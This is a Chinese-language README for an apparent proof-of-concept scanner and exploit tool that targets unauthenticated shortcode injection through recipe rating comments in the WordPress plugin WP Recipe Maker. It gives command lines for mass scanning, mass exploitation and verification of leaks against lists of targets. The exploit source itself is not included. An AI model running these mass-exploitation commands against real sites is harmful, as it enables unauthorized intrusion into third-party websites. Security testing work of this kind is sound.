针对 WP Recipe Maker 中 CVE-2026-89274 的 Python 3 PoC 扫描器/漏洞利用工具。
| 插件 | wp-recipe-maker |
| 受影响版本 | ≤ 10.8.1 |
| 修复版本 | 10.8.2+ |
| CVSS | 9.1(严重) |
| 认证 | 无需认证(提交评论) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() 在 strip_shortcodes() 之前对元数据字段执行 do_shortcode()。已批准的食谱评分评论(wprm-comment-rating)会填充 JSON-LD 的 reviewBody;注入的短代码会在食谱页面加载时执行,并可能通过结构化数据泄露输出。
要求: 恶意评论必须处于已批准状态(自动批准或经版主批准)。漏洞利用模式可使用 --verify 确认标记出现在 JSON-LD 的 reviewBody 中。
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt 行格式(verify 模式)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| 选项 | 描述 |
|---|---|
-u, --url | 单个目标基础 URL |
--list | URL 列表、candidates.jsonl 或 submitted_mass.txt(verify) |
--mode | check、exploit 或 verify |
--recipe-url | 包含嵌入式 WPRM 食谱和评论的文章 URL |
--post-id | WordPress comment_post_ID |
--recipe-id | WPRM 食谱 ID(可选 --use-api) |
--shortcode | 评论文本中的载荷(默认探测短代码) |
--marker | Verify:在 JSON-LD 中搜索标记子串 |
--verify | Exploit:提交后确认 JSON-LD 中的泄露 |
--use-api | 同时尝试 Premium 用户评分 REST 路径 |
--threads, -j | 批量并发数(默认 20) |
--output | JSONL 结果(默认 cve_2026_89274_results.jsonl) |
--vuln-list | 命中/泄露的文本输出(默认 hits.txt) |
--candidates-list | 检查命中的元数据(默认 candidates.jsonl) |
--quiet | 批量运行时减少进度输出 |
| 文件 | 内容 |
|---|---|
cve_2026_89274_results.jsonl | 每个目标的 JSON |
hits.txt | 候选基础 URL |
candidates.jsonl | page_url、post_id、recipe_id、version |
status 值(check)| 状态 | 含义 |
|---|---|
candidate | 存在漏洞的版本 + 包含 wprm-comment-rating 的食谱页面 |
plugin_no_recipe_comments | 插件存在,但未找到合适的食谱/评论页面 |
recipe_no_comment_rating | 食谱页面没有评分评论表单 |
patched | 版本 ≥ 10.8.2 |
no_plugin | 未检测到 WP Recipe Maker |
[caption])。/blog/、/recipes/)可能不会显示 JSON-LD 泄露;在发现页面时,漏洞利用更倾向于单个食谱的永久链接。--verify 仅确认 JSON-LD 反射,而非完整的 RCE。.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
本地扫描列表和运行产物(list.txt、*.jsonl、submitted_mass.txt 等)已包含在 .gitignore 中,不应提交。
仅用于经授权的安全测试。您有责任遵守适用的法律和项目规则。